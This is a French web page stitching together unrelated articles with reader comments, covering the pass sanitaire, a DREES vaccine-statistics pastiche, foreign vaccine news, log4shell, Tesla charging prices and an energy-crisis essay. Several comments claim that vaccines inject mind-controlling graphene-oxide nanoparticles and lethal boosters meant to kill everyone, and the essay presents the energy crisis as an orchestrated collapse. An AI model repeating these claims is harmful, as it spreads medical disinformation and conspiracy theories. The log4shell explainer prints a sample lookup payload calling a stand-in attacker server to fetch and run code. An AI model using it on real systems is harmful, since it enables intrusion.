Certains y voient un nouveau « deux poids deux mesures ». D’autres rétorquent « constitutionnalité ». Alors que la majorité peine à faire voter sereinement à l’Assemblée nationale le projet de loi prévoyant vaccination obligatoire des soignants et extension du Pass sanitaire en France, La République en marche doit faire face à une nouvelle polémique. Depuis mercredi, pour entrer dans un musée ou un cinéma, on doit présenter son Pass. Ce qui ne se fait pas sans réticences parfois. Et pour l’Assemblée nationale, où se côtoient chaque jour près de 1 351 fonctionnaires, 577 députés et plusieurs centaines de collaborateurs ? Une exemption pure et simple ?
Mercredi, une cinquantaine de parlementaires LREM, à l’initiative de la députée du Loiret Stéphanie Rist, déposaient un amendement, en commission, visant à instaurer un Pass sanitaires pour les élus voulant entrer dans l’enceinte du Palais Bourbon. Les auteurs du texte rappelaient : « L’Assemblée nationale étant un lieu de brassage de centaines de personnes venant de régions différentes, c’est un lieu particulièrement sensible à la contamination. » Ils estimaient que l’accès à la chambre basse pouvait « également être subordonné à la présentation des documents […] sur décision du président de l’Assemblée ». Au-delà de l’aspect sanitaire, se joue aussi une question d’exemplarité vis-à-vis des Français, les élus étant régulièrement taxés de privilégiés. Mais finalement, tard dans la nuit de mardi à mercredi, l’amendement est rejeté…
Il n’en fallait pas plus pour que les opposants au Pass sanitaire s’emparent de l’information, accusant les députés de s’exonérer de l’effort collectif réclamé aux Français. Du côté de la présidence de l’Assemblée, on évoque alors un problème constitutionnel. Pour son président Richard Ferrand, la mise en place d’une telle mesure pourrait effectivement porter atteinte au principe de « libre exercice du mandat parlementaire » de députés qui, faute de vaccination à jour ou de test négatif, seraient alors empêcher d’accéder à l’hémicycle.
Apparemment désireux de couper l’herbe sous le pied des militants anti-pass qui continuent de se mobiliser, Ferrand publie alors un communiqué dans la foulée. Sauf qu’il est passablement flou.
« Contrairement à des informations erronées qui circulent, la Présidence de l’Assemblée nationale rappelle que dès l’adoption de la loi relative à la gestion de la crise sanitaire, celle-ci sera évidemment appliquée à l’Assemblée nationale dans le respect des missions parlementaires », peut-on y lire.
On croit donc comprendre que le Pass sanitaire s’appliquera à l’ensemble des fonctionnaires et aux parlementaires mais uniquement dans les lieux qui ne sont pas nécessaires à l’exécution de leur mandat. Comme la buvette, entre autres. Il ne sera, en revanche, pas réclamé pour accéder à l’hémicycle ou dans les salles des commissions.
Côté extrême droite, les attaques n’ont pas tardé. « Richard Ferrand a refusé le Pass sanitaire pour accéder à l’Assemblée nationale. Eh oui, tout ça c’est pour les gueux ! » a réagi le président des Patriotes, Florian Philippot, qui participe à toutes les manifestations contre la vaccination obligatoire et le Pass depuis plusieurs jours. « Ferrand ne veut pas d’un Pass sanitaire à l’Assemblée nationale, comme si les députés, en plus de leur immunité parlementaire, avaient une immunité sanitaire ! Avec Ferrand, le virus est populaire, pas parlementaire ! » a de son côté réagi le député européen RN Gilbert Collard.
Quid du Sénat ?
Et du côté du Palais du Luxembourg ? Selon la présidence du Sénat, une éventuelle obligation de présenter un Pass sanitaire pour accéder au lieu « a été discutée », comme le rapporte Public Sénat. « Mais ce n’est pas du tout acté, on regarde comment ça marche ailleurs. On décidera dans les prochains jours », ajoute l’entourage de Gérard Larcher.
Pourquoi des 'parlementaires' ou autres politiques ou candidat(e)s à la présidentielle aux micros ne parlent JAMAIS de ce que contiennent les seringues ? Parce qu'ils ou elles soutiennent toutes & tous l'hégémonie programmée et appliquée !
Le dernier bilan de la DREES1,paru en date du 17 décembre 2021, fait apparaître un chiffre peu encourageant pour le « booster » d’immunité anticovid tant vanté par le gouvernement français et les médias : alors que les « triple vax » ne représentent que 2 % du panel étudié par la DREES2, ils comptent pour 6 % des décès enregistrés durant la période allant du 8 novembre au 5 décembre. Soit un ratio égal à 3.
Même les non vaccinés parviennent selon les chiffres officiels à un ratio bien meilleur : ils sont 23 % des testés PCR positifs, et « seulement » 38 % des décès ; soit un ratio égal à 1,65.
Si vous êtes non vacciné et testé positif par PCR, vous avez donc presque deux fois plus de chances d’échapper à la mort par covid que si vous êtes triplement vacciné ...
2%, c’est ce que pèsent les vaccinés « boostés » par leur troisième dose dans le panel étudié par la DREES durant la période du 8 novembre au 5 décembre. Cela représente 7841 tests positifs3.
Sur ces 7841 tests positifs, 525 ont été hospitalisés en soins conventionnels ( 5 % des hospitalisations), 90 en soins critiques ( 3 % des soins critiques) ; et, donc, 83 sont décédés à l’hôpital (6 % des décès).
Sur un total de 698 « triple vax » passés par l’hôpital, 83 décédés induisent un taux de mortalité de 11,89 %.
Pour comparaison, les non vaccinés ont fait 90 177 tests positifs ; 4309 ont été hospitalisés en soins conventionnels (41 % des hospitalisations), 1561 sont allés en soins critiques (52 % des soins critiques), et 529 sont décédés à l’hôpital (38 % des décès).
Sur un total de 6399 « non vax » hospitalisés, 529 décès induisent un taux de mortalité de 8,27 %.
Si vous entrez à l’hôpital en étant triplement vacciné, vous avez donc 1,44 fois plus de risque de mourir que si vous êtes non vacciné.
Moralité : Restez non vacciné, ou, si vous êtes doublement vacciné, ne faites surtout pas la troisième dose !
Voilà … Ce que nous venons de faire est une statistique « à la DREES » : un pastiche de ce que cette administration nous inflige depuis plusieurs mois.
Comme la DREES, nous tirons ici des conclusions des chiffres en faisant comme si la catégorisation « vax » ou « non vax » se suffisait en elle-même, comme si elle devait occulter les caractéristiques des personnes incluses dans le panel d’étude.
Chacun peut bien comprendre que les « triple vax » de ces dernières semaines sont essentiellement les premières personnes qui avaient été vaccinées par une puis deux doses : les résidents des EHPAD, les personnes les plus âgées ou les plus fragiles.
Bien évidemment, il n’est donc pas anormal de voir que ces personnes sont surnuméraires parmi les victimes du covid, actuellement. Bien évidemment, notre analyse ci-dessus peut ainsi être aisément réfutée, sur le motif que nous n’avons pas pris en compte le profil particulier de ces personnes, et qu’ainsi nous négligeons un facteur essentiel pour la compréhension du phénomène observé. En outre ,nous attribuons l’excès de décès dans cette catégorie à la troisième dose vaccinale, sous-entendant ainsi que c’est cette troisième dose de vaccin qui a été fatale !
Notons au passage, quand même, que la fameuse troisième dose n’a pas encore fait ses preuves, visiblement, à l’heure où nous publions ces quelques lignes4.
Mais notons, surtout, que les deux biais d’analyse imputables à notre pseudo-bilan ci-dessus sont exactement ceux qui invalident toutes les statistiques concernant le covid publiées par la DREES :
1 - Non prise en compte des caractéristiques du panel de base de l’étude : on sait que la DREES identifie les non vaccinés à un groupe composé majoritairement voire uniquement par des personnes immuno-défaillantes, du fait que la DREES ne considère comme « non vaccinées » que les personnes ciblées par l’Assurance Maladie pour une première injection, depuis le mois de septembre 20215.
Comment s’étonner dès lors que ce groupe de « non vaccinés » cumule les tests PCR symptômatiques et les hospitalisations ?
Mais comment pourrait-on admettre que la DREES tire des conclusions concernant la catégorie des non vaccinés en population générale, à partir d’observations effectuées sur un sous-groupe défini de façon aussi irréaliste ?
Moi-même, en pleine santé, confrontée au virus depuis deux ans et n’ayant pas contracté la moindre maladie, qu’ai-je à voir avec le groupe des hospitalisés pour cause de covid, qu’ils soient vaccinés ou non vaccinés ?
Si l’on s’offusque de me voir tirer des conclusions insinuant que la troisième dose serait à l’origine d’une surmortalité parmi les Français, alors, que l’on s’offusque de voir la DREES affirmer que le fait de n’être pas vacciné serait à l’origine d’une plus grande vulnérabilité face au virus, sur la base des études qu’elle produit.
2 - Imputation du résultat à un facteur non significatif : tous les observateurs du syndrôme covid s’accordent à dire que les pathologies graves déclenchées par le virus sont essentiellement dues aux fragilités immunitaires des personnes mises en contact avec lui. Autrement dit, que les hospitalisations et décès liés au covid s’expliquent à 90 % par la présence de comorbidités chez les personnes infectées.
La DREES, en constituant deux sous-groupes d’étude « vax / non vax », au lieu d’identifier deux sous-groupes « personnes à risque / sans risque », déplace le champ d’interprétation le plus pertinent vers un champ d’explication présupposé, propre à imputer les résultats d’observation à une variable annexe – le statut vaccinal – en lieu et place du facteur fondamental – l’immuno-défaillance.
- Suivant le dernier bilan publié par la DREES, les vaccinés deux ou trois doses constituent 88 % de la population française de plus de 20 ans, et ont généré 55,3 % des événements hospitaliers observés en France en lien avec le covid, entre le 8 novembre et le 5 décembre 2021.
Si les vaccinations anticovid étaient efficaces à 50 % ( autrement dit, qu’elles réduisaient de moitié les risques d’hospitalisation par rapport aux non vaccinés ), les vaccinés auraient dû représenter seulement 44 % des hospitalisés et décédés.
En l’occurence, si l’on s’en tient aux chiffres de la DREES, la vaccination procurerait à ses bénéficiaires une protection de 38,5 % environ face aux formes graves, bien loin des 90 % affichés par la propagande commune.
- Les chiffres de la DREES ne sauraient être pris pour argent comptant : dans notre précédente publication, nous avons montré que ces chiffres étaient biaisés dans une proportion telle que leur validité globale posait sérieusement question. Ils ne peuvent pas être considérés comme un reflet des réalités hospitalières dues au covid, mais seulement comme une projection mathématique de données retravaillées dans le but de gonfler artificiellement la part des non vaccinés dans les résultats6.
Ainsi, le lecteur voudra bien considérer que les chiffres et proportions contenus dans cet article,issus du dernier tableau publié par la DREES, ne sauraient aucunement retranscrire des faits observés à l’hôpital, mais seulement les calculs effectués par cette administration.
- voir sur site -
Annexe : tableau bilan publié par la DREES (8 novembre - 5 décembre 2021)
1 Service de statistiques du ministère de la Santé et de l’Economie . Administration dont nous avons déjà eu l’occasion d’étudier les productions. Cf https://www.agoravox.fr/tribune-libre/article/covid-fantastiques-statistiques-237664
2 La DREES base ses études sur le nombre de cas de tests PCR positifs réalisés en France durant une période donnée.
3 Ce chiffre,ainsi que les suivants, est arrondi à l’entier le plus proche ; calculs effectués d’après le tableau publié par la DREES, une fois les proportions traduites en valeurs numériques. Cf annexe.
4 Rappelons que les personnes dont le système immunitaire est défaillant sont celles qui répondent le moins bien aux vaccins, quels qu’ils soient (celui de la grippe, par exemple). Les vaccins sont surtout efficaces chez ceux qui ont un système immunitaire fonctionnel … et pourraient donc, a priori, se passer de vaccins !Mais ceci est un autre sujet ...
5 Op cit : https://www.agoravox.fr/tribune-libre/article/covid-fantastiques-statistiques-237664
6 Il est d’ailleurs amusant de voir des personnels soignants ou des chefs de services hospitaliers défiler dans les médias pour affirmer que leurs patients sont des non vaccinés dans leur immense majorité. Comme ils n’ont pas lu les études de la DREES, mais seulement les conclusions de ces études, ils ont en tête la proportion officiellement mise en avant par la DREES : 8 à 10 fois plus de risques a minima pour un non vacciné, soit un vaccin efficace à 80-90 %, donc seulement 10 à 20 % de vaccinés parmi leurs patients … Et ils témoignent de cette « réalité », alors même que les chiffres de la DREES – tout frelatés qu’ils soient - indiquent clairement que les vaccinés sont majoritaires parmi les hospitalisés (55,3 % pour le dernier bilan), et les décédés du covid (60%) !
Les piqûres dites 'anti-coronacircus19' ne sont pas là pour protéger mais UNIQUEMENT pour vous injecter des nano-particule d'oxyde de graphène. Mais que sont-elles ces nano-particules dites 'intelligentes' ?
Ce sont des nano-poussières (appelées 'virus') qui reçoivent et émettent des ordres. Elles sont là pour dévoyer les propres pensées de l'individu et le soustraire à la rébellion. Elles sont aussi là pour éliminer toutes personnes contestataires du droit de vivre.
Le gouvernement japonais dit aux citoyens : "Ne faites pas de discrimination contre les non-vaccinés"
PAR TYLER DURDEN MARDI 21 DEC 2021 - 08:06 Rédigé par Paul Joseph Watson via Summit News,
Bien que de nombreux grands pays aient rendu obligatoires les vaccins contre le COVID-19, le gouvernement japonais a dit à ses citoyens "de ne pas discriminer ceux qui n'ont pas été vaccinés".
L'Allemagne est sur le point de suivre l'Autriche en imposant des inoculations obligatoires, avec des refusniks qui résistent toujours à les prendre face à des amendes croissantes et éventuellement à des peines de prison.
Cependant, le Japon adopte une approche très différente, affirmant que les vaccins ne devraient jamais être administrés qu'avec le plein consentement et qu'ils ne devraient pas être utilisés comme outils de coercition ou d'intimidation.
L'avis suivant a été publié sur le site Web du ministère de la Santé, du Travail et du Bien-être social;
«Bien que nous encourageons tous les citoyens à se faire vacciner contre le COVID-19, ce n'est pas imposé ou obligatoire. La vaccination ne sera donnée qu'avec le consentement de la personne à vacciner après les informations fournies. Veuillez vous faire vacciner de votre propre initiative, en comprenant à la fois l'efficacité de la prévention des maladies infectieuses et le risque d'effets secondaires. Aucune vaccination ne sera administrée sans consentement. S'il vous plaît, ne forcez personne sur votre lieu de travail ou ceux qui vous entourent à se faire vacciner, et ne discriminez pas ceux qui n'ont pas été vaccinés.
Le site Web du Premier ministre contient également une déclaration similaire.
« Les vaccins ne seront jamais administrés sans le consentement du destinataire. Nous exhortons le public à ne jamais forcer les vaccinations sur le lieu de travail ou sur les autres personnes autour d'eux, et à ne jamais traiter ceux qui n'ont pas reçu le vaccin de manière discriminatoire. »
Pendant ce temps, en Autriche, le gouvernement embauche littéralement des gens pour « traquer » ceux qui refusent de recevoir la piqûre.
« Les pays occidentaux prétendent toujours être les premiers défenseurs des libertés civiles », écrit Noah Carl. "Mais à l'ère du safetyism de Covid, il semble que le manteau soit passé au Japon. Peut-être que le pays enverra une délégation d'experts des droits de l'homme pour enseigner à l'Occident la liberté individuelle.
(...) «Bien que nous encourageons tous les citoyens à se faire vacciner contre le COVID-19, ce n'est pas imposé ou obligatoire. La vaccination ne sera donnée qu'avec le consentement de la personne à vacciner après les informations fournies. Veuillez vous faire vacciner de votre propre initiative, en comprenant à la fois l'efficacité de la prévention des maladies infectieuses et le risque d'effets secondaires. (...)
Le risque d'effets secondaires étant LA MORT certaine à court ou moyen terme.
Regardez: Le ministre allemand de la Santé appelle à la vaccination forcée immédiate de toute la population
PAR TYLER DURDEN MARDI 21 DEC 2021 - 03:30 Rédigé par Steve Watson via Summit News,
Le ministre allemand de la Santé, Karl Lauterbach, a appelé à rendre la vaccination COVID obligatoire immédiatement pour l'ensemble de la population allemande.
Comme le rapporte Der Spiegel, « Le ministre fédéral de la Santé Karl Lauterbach (SPD) craint que le nombre d'infections augmente fortement en raison de la nouvelle variante du virus Omicron. "Je suppose une cinquième vague massive", a déclaré Lauterbach lors d'une visite dans un centre de vaccination à Hanovre.
Lauterbach a en outre déclaré « Nous devons supposer que la vague d'omicrons à laquelle nous sommes confrontés, que nous ne pouvons à mon avis empêcher, sera un défi de taille pour nos hôpitaux, pour nos unités de soins intensifs, mais aussi pour la société dans son ensemble. »
Le ministre de la Santé a en outre affirmé qu'Omicron ne pouvait pas être « maîtrisé » avec une seule double vaccination.
"Nous ne devons pas nous laisser bercer par un faux sentiment de sécurité", a-t-il déclaré, affirmant qu'une "campagne de relance massive" est nécessaire "pour stimuler plusieurs millions de personnes par semaine".
Lauterbach a ajouté qu'il entendait essayer "par tous les moyens" de rendre les vaccins obligatoires.
Les commentaires interviennent une semaine après que le successeur d'Angela Merkel en Allemagne a déclaré qu'il n'y aurait "pas de lignes rouges" dans la bataille contre la vague actuelle de COVID, qu'il a déclaré être alimentée par des citoyens non vaccinés.
Le nouveau chancelier Olaf Scholz a déclaré qu'il soutenait les mandats de vaccination dans toute l'Allemagne, notant qu'il avait l'intention de "voter pour la vaccination obligatoire, car elle est légalement autorisée et moralement juste".
Scholz avait précédemment déclaré qu'il souhaitait introduire la vaccination obligatoire contre le coronavirus pour tous les Allemands dès février, selon des sources proches de lui.
Une épidémie de COVID frappe le plus grand navire de croisière du monde
PAR TYLER DURDEN LUNDI 20 DÉC 2021 - 23:00
Pour la deuxième fois ce mois-ci, un bateau de croisière avec des passagers adultes et un équipage entièrement vaccinés a détecté une épidémie de COVID-19.
Quarante-huit personnes à bord d'un Royal Caribbean Symphony of the Seas, le plus grand navire de croisière du monde, ont été testées positives pour COVID samedi après le retour d'une croisière d'une semaine.
"Toutes les personnes testées positives étaient asymptomatiques ou présentaient des symptômes légers, et nous surveillons en permanence leur santé", a déclaré Royal Caribbean à NBC Miami. "Chaque personne est rapidement entrée en quarantaine", indique le communiqué.
La politique de santé de Royal Caribbean exige que tous les adultes soient vaccinés avec au moins deux injections de Pfizer ou de Moderna ou une injection de vaccin Johnson & Johnson. L'épidémie représente 0,78 % des 6 091 passagers et membres d'équipage qui ont quitté Miami le 11 décembre et ont navigué vers les ports des Caraïbes Saint-Martin, Saint-Thomas et l'île privée de Royal Caribbean, CocoCay. Le bateau de croisière est rentré au port d'attache le 18 décembre.
Les navires de croisière ont été salués comme l'une des vacances les plus sûres en raison de leurs politiques de santé strictes qui n'autorisent que les adultes vaxxés – mais à mesure que l'efficacité du vaccin diminue, cela ne semble pas être le cas.
Plus tôt ce mois-ci, Norwegian Breakaway, propriété de Norwegian Cruise Line Holdings Ltd, a détecté une épidémie de COVID malgré un navire entièrement vaxxé.
Cruise Industry News a rapporté que l'industrie des navires de croisière avait resserré ses mesures de masque au milieu de l'augmentation des cas de virus aux États-Unis.
Ce qui devient évident, c'est que les taux d'efficacité des vaccins sont en baisse. Une étude récente des trois principaux vaccins COVID a montré une baisse « spectaculaire » de l'efficacité sur six mois. Ainsi, alors que les exploitants de navires de croisière atteignent la haute mer avec uniquement des passagers et des équipages entièrement vaxxés qui ont des défenses affaiblies contre le virus, on pourrait suspecter des épidémies supplémentaires sur les navires alors que de nouvelles infections se multiplient aux États-Unis.
Alors, qu'est-ce que les exploitants de navires de croisière sont censés faire maintenant ? Autoriser uniquement les personnes qui ont eu trois boosters ou plus sur les navires ?
Compte tenu de l'élimination (naturelle) progressive des nano-particules d'oxyde de graphène mortelles avant-même qu'elles soient décortiquées par signal d'onde sur portable, la piqûre létale de rappel doit être administrée afin que nul ne demeure en vie dans les jours qui viennent !!
Pourquoi la faille log4shell panique tout internet ?
Log4shell : comment quelques lignes de code rendent piratable d'un coup Apple, Google, Amazon et des millions de serveurs.
le 21 décembre 2021 François Jolain
Ce 10 décembre, une faille de sécurité baptisée log4shell et touchant la brique logiciel log4j a été découverte. Dès lors, des millions de serveurs, y compris ceux d’Apple, Google, Amazon ou Tesla devenaient piratables.
Cette faille montre comment, sans même commettre d’erreur en programmation, une faille critique peut apparaître. Elle montre aussi l’énorme château de cartes que représente chaque application informatique.
Log4shell : une faille ne reposant sur aucune erreur
Log4j est une brique logiciel qui est utilisée par des millions de sites web pour logger des évènements.
Un programme informatique est par nature muet. C’est une boîte noire dont on ne voit que les données d’entrées et les résultats de sorties. Les étapes intermédiaires restent silencieuses.
Aussi, pour aider les développeurs à surveiller leurs applications, on ajoute des logs dans le programme. Le programme va se mettre à parler à chaque action accomplie.
Toutes ces déclarations sont regroupées et horodatées pour former le journal de logs, véritable historique de la plateforme en ligne.
Ainsi, si un utilisateur Bob change son email par X, on verra apparaître sur le journal de logs du site : « utilisateur Bob a changé son email par X ».
Pour rendre les logs plus puissants, log4j utilise une syntaxe afin d’ajouter des balises qui seront remplies par lui. Par exemple le log « ${date} utilisateur Bob a changé son mail par X » sera lu et remplacé par « 18/12/2021 10:45 utilisateur Bob a changé son mail par X » .
Cette syntaxe permet d’injecter automatiquement la date, la version du logiciel, mais aussi de faire des requêtes sur un serveur distant et d’exécuter le code retourner par le serveur.
Tout ceci n’est pas codé par accident, ce sont des fonctionnalités légitimes. Mais un détail vient tout chambouler. Dans l’exemple ci-dessus, le X provient de l’utilisateur. Il peut donc mettre ce qu’il veut, y compris une balise !
Il peut donc envoyer comme nouvelle adresse mail « ${https://serveur-pirate.fr/virus} » . Le logger va analyser le log « utilisateur Bob a changé son email par ${https://serveur-pirate.fr/virus} » , requêter le serveur pirate et exécuter le virus sur la plateforme.
Cette faille ne provient pas d’un bug ou d’erreur. Elle détourne des fonctionnalités légitimes, qui mises bout à bout forment un vecteur d’attaque.
Ainsi, log4shell rend tous les serveurs utilisant log4j vulnérables. N’importe quel utilisateur a juste à envoyer une balise malicieuse dans la plateforme pour y prendre le contrôle.
Le château de cartes informatique
Un programme informatique repose sur une des centaines de briques logiciel pour fonctionner. Si une seule de ces briques fait défaut, elle contamine l’ensemble du programme.
Heureusement, le plus souvent, le problème reste bénin et ne remet pas en cause la sécurité de la plateforme.
Mais log4j, lui, anéantit la sécurité de la plateforme hôte qui l’utilise. Or il est massivement utilisé, c’est une brique logiciel incontournable dans le développement.
C’est ainsi qu’en un week-end, on se retrouve avec des millions de sites piratables tels Apple, Google, Amazon et autres.
La sécurité en informatique ne tient qu’à un fil. Des millions de sites sains se retrouvent piratables car une fonctionnalité d’une brique logiciel a pu être détournée pour le piratage.
Vu la très grande utilisation de log4j, il faudra des années pour mettre à jour tous les sites. Les attaques informatiques utilisant cette faille ont déjà commencé.
Ce n'est pas le seul article car nous sommes entourés de mais, pour prendre un exemple, dernièrement l'achat d'une cafetière. Pas chère, beau desing, bref "je la prends" et, arrivé à la maison, là on s'aperçoit que, si l'on lève le couvercle pour mettre le café le couvercle du porte-filtre se lève aussi ! Whôaw ! mais... mais on ne peut pas mettre d'eau car le couvercle ouvert empêche l'accès au réservoir !!! C'est un modèle fabriqué sur ordi en 3D, présenté au chef de la division 'connerie' qui fait tourner le modèle en tout sens sur l'écran 3D, dit qu'il est beau, et lance la fabrication de 100 000 modèles comme çà !
Pourquoi la faille log4shell panique tout internet ?
Elle ne 'panique' pas du tout. Il s'agit simplement d'un programme de rumeur pour trouver une excuse pour fermer l'Internet. Ce ne sont pas de simples hackers qui sont derrière mais l'ensemble complet des escrocs qui dirigent les pays !
SUPERCHARGER TESLA : LE PRIX DE LA RECHARGE AUGMENTE
par PAOLO GAROSCIO 21/12/2021
L'action Tesla a chuté sous la barre des 900 dollars.
Mauvaise nouvelle pour les propriétaires de voitures Tesla, et par là même pour l’ensemble des propriétaires de voitures électriques : la recharge coûte plus cher. En cause ? La hausse du prix de l’électricité sur le marché de gros, qui va impacter les factures des ménages en 2022… Mais qui touche déjà les industriels.
Une hausse des prix des recharges en Europe
Selon le site Automobile-Propre, qui reprend une information Twitter de Tesla_Adri, les prix du kilowattheure ont augmenté… un peu partout en Europe. Du moins, selon Tesla_Adri au minimum en France, Allemagne et Espagne. Mais l’augmentation étant liée à la hausse du prix de l’électricité, elle devrait être généralisée, Tesla évitant le plus possible cette mauvaise publicité.
Les augmentations ne sont pas uniformes : alors qu’en France le kilowattheure passe de 0,37 euro à 0,40 euro, soit une augmentation de 3 centimes, la hausse est de 5 centimes d’euro en Allemagne (45 centimes d’euro le kWh ou encore de 7 centimes d’euros en Espagne, qui reste le pays où la recharge est la moins chère, à 36 centimes d’euro le kWh.
Combien coûte recharger sa Tesla sur un superchargeur ?
La hausse des prix va, forcément, impacter le montant à débourser pour une recharge complète. Celle-ci est d’environ 60 kWh, le calcul est donc vite fait. Un « plein » pour une Tesla va coûter, après l’augmentation, 27 euros environ en Allemagne, 24 euros en France. C’est bien évidemment beaucoup moins qu’un plein d’essence ou de gasoil, mais la hausse est malgré tout conséquente, 2 euros par recharge complète pour les clients français.
Les ménages, de leur côté, subiront la hausse des prix de l’électricité en février 2022, lorsque la facture augmentera de 4%. Une hausse limitée artificiellement par le gouvernement qui a opté pour un bouclier tarifaire, la hausse réelle dépassant, selon les experts, 20%.
Jusqu'à présent les bornes de recharge permettaient aux camping-cars (essence ou diesel) de faire tourner le poulet à la broche dans le four pour quelques centimes (et machine-à-laver, etc, etc). Maintenant... c'est au prix du restau !!
L'agenda vert et le plan d'effondrement de l'économie mondiale industrielle En quoi cette « crise énergétique » est différente de toutes les autres
Par F. William Engdahl Recherche mondiale 21 décembre 2021
Le prix de l'énergie de toutes les sources conventionnelles explose à l'échelle mondiale. Loin d'être accidentel, il s'agit d'un plan bien orchestré pour effondrer l'économie mondiale industrielle qui a déjà été considérablement affaiblie par près de deux ans de quarantaine covid ridicule et les mesures connexes.
Ce que nous voyons, c'est une explosion des prix de l'énergie clé du pétrole, du charbon et maintenant surtout, du gaz naturel. Ce qui le rend différent des chocs énergétiques des années 1970, c'est que cette fois, il se développe alors que le monde de l'investissement des entreprises, utilisant le modèle frauduleux d'investissement vert ESG, désinvestit dans le pétrole, le gaz et le charbon futurs tandis que les gouvernements de l'OCDE adoptent une approche horriblement inefficace, solaire et éolien peu fiables qui assureront l'effondrement de la société industrielle peut-être dès les prochains mois. À moins d'une refonte radicale, l'UE et d'autres économies industrielles commettent volontairement un suicide économique.
Ce qui, il y a seulement quelques années, était accepté comme une évidence, c'est qu'assurer une énergie abondante, fiable, efficace et abordable définit l'économie. Sans énergie efficace, nous ne pouvons pas fabriquer d'acier, de béton, de matières premières minières ou tout autre élément qui soutient nos économies modernes. Au cours des derniers mois, le prix mondial du charbon pour la production d'électricité a doublé. Le prix du gaz naturel a augmenté de près de 500 %. Le pétrole se dirige vers 90 $ le baril, son plus haut niveau en sept ans. Il s'agit d'une conséquence planifiée de ce que l'on appelle parfois la grande réinitialisation de Davos ou la folie zéro carbone de l'Agenda vert.
Il y a une vingtaine d'années, l'Europe a amorcé une transition majeure vers les énergies renouvelables ou l'énergie verte, principalement solaires et éoliennes. L'Allemagne, cœur de l'industrie de l'UE, a mené la transformation avec l'Energiewende mal conçue de l'ancienne chancelière Merkel, où les dernières centrales nucléaires allemandes fermeront en 2022 et où les centrales au charbon sont rapidement supprimées. Tout cela est maintenant entré en collision avec la réalité que l'énergie verte n'est pas du tout en mesure de faire face à des pénuries d'approvisionnement majeures. La crise était tout à fait prévisible.
Les poulets verts rentrent à la maison pour se percher
Avec les blocages généralisés de l'industrie et des voyages liés au covid en 2020, la consommation de gaz naturel de l'UE a considérablement diminué. Le plus grand fournisseur de gaz de l'UE, Gazprom de Russie, dans l'intérêt d'un marché ordonné à long terme, a dûment réduit ses livraisons sur le marché de l'UE, même à perte. Un hiver 2019-2020 exceptionnellement doux a permis au stockage de gaz de l'UE d'atteindre son maximum. Un hiver long et rigoureux a pratiquement effacé cela en 2021.
Contrairement aux affirmations des politiciens européens, Gazprom n'a pas fait de politique avec l'UE pour forcer l'approbation de son nouveau gazoduc NordStream 2 vers l'Allemagne. Alors que la demande de l'UE a repris au cours des six premiers mois de 2021, Gazprom s'est précipité pour y répondre et même dépasser les niveaux records de 2019, et même au détriment de la reconstitution du stockage de gaz russe pour l'hiver à venir.
L'UE étant désormais fermement engagée dans un programme d'énergie verte, Fit for 55, et rejetant explicitement le gaz naturel comme une option à long terme, tout en tuant le charbon et le nucléaire, l'incompétence des modèles climatiques du groupe de réflexion qui a justifié un 100% sans gaz carbonique, la société électrique d'ici 2050 est revenue se percher.
Parce que les investisseurs financiers de Wall Street et de Londres ont vu les bénéfices énormes de l'agenda de l'énergie verte, travaillant avec le Forum économique mondial de Davos pour promouvoir le modèle d'investissement ESG risible, les sociétés pétrolières, gazières et charbonnières conventionnelles n'investissent pas de bénéfices dans une production accrue. En 2020, les dépenses mondiales en pétrole, gaz et charbon ont chuté d'environ 1 000 milliards de dollars. Cela ne revient pas.
Avec BlackRock et d'autres investisseurs qui boycottent presque ExxonMobil et d'autres sociétés énergétiques en faveur d'une énergie « durable », les perspectives d'un hiver exceptionnellement froid et long en Europe et un manque record de vent dans le nord de l'Allemagne, ont déclenché une panique d'achat de gaz sur le monde Marchés du GNL début septembre.
Le problème était que le réapprovisionnement était trop tard, car la plupart des GNL disponibles en provenance des États-Unis, du Qatar et d'autres sources qui seraient normalement disponibles avaient déjà été vendus à la Chine où une politique énergétique tout aussi confuse, y compris une interdiction politique du charbon australien, a conduit à fermetures d'usines et une récente ordonnance du gouvernement pour sécuriser le gaz et le charbon "à tout prix". Le Qatar, les exportateurs américains de GNL et d'autres ont afflué vers l'Asie, laissant littéralement l'UE dans le froid.
Déréglementation de l'énergie
Ce que peu de gens comprennent, c'est comment les marchés de l'énergie verte d'aujourd'hui sont truqués pour profiter aux spéculateurs comme les fonds spéculatifs ou aux investisseurs comme BlackRock ou Deutsche Bank et pénaliser les consommateurs d'énergie. Le prix global du gaz naturel négocié en Europe, le contrat à terme néerlandais TTF, est vendu par l'ICE Exchange, basé à Londres. Il spécule sur les futurs prix de gros du gaz naturel dans l'UE dans un, deux ou trois mois. L'ICE est soutenu par Goldman Sachs, Morgan Stanley, Deutsche Bank et Société Générale, entre autres. Le marché porte sur ce qu'on appelle des contrats à terme sur gaz ou des produits dérivés.
La crise énergétique européenne est sur le point de se mondialiser
Les banques ou d'autres peuvent spéculer pour des centimes sur le dollar, et lorsque la nouvelle a éclaté sur le faible niveau de stockage de gaz de l'UE pour l'hiver à venir, les requins de la finance se sont lancés dans une frénésie alimentaire. Début octobre, les prix à terme du gaz néerlandais TTF avaient explosé de 300 % sans précédent en quelques jours seulement. Depuis février, c'est bien pire, car une cargaison standard de GNL de 3 400 milliards de BTU (British Thermal Units) coûte désormais entre 100 et 120 millions de dollars, alors qu'à la fin février son coût était inférieur à 20 millions de dollars. C'est une augmentation de 500 à 600 % en sept mois.
Le problème sous-jacent est que, contrairement à ce qui s'est produit pendant la majeure partie de la période d'après-guerre, depuis la promotion politique des « énergies renouvelables » solaires et éoliennes peu fiables et coûteuses dans l'UE et ailleurs (par exemple, Texas, février 2021), les marchés des services publics d'électricité et leurs prix ont été délibérément déréglementés pour promouvoir les alternatives vertes et évincer le gaz et le charbon sur l'argument douteux que leurs émissions de gaz carbonique mettent en danger l'avenir de l'humanité si elles ne sont pas réduites à zéro d'ici 2050.
Les prix supportés par le consommateur final sont fixés par les fournisseurs d'énergie qui intègrent les différents coûts dans des conditions concurrentielles. La façon diabolique de calculer les coûts de l'électricité de l'UE, prétendument pour encourager l'énergie solaire et éolienne inefficace et décourager les sources conventionnelles, est que, comme l'a dit l'analyste français de l'énergie Antonio Haya, « la centrale la plus chère de celles nécessaires pour couvrir la demande (centrale marginale) définit le prix pour chaque heure de production pour toute la production correspondant à l'enchère. Ainsi, le prix du gaz naturel d'aujourd'hui fixe le prix de l'électricité hydroélectrique à coût pratiquement nul. Compte tenu de la flambée des prix du gaz naturel, cela définit les coûts de l'électricité de l'UE. C'est une architecture de prix diabolique qui profite aux spéculateurs et détruit les consommateurs, y compris les ménages et l'industrie.
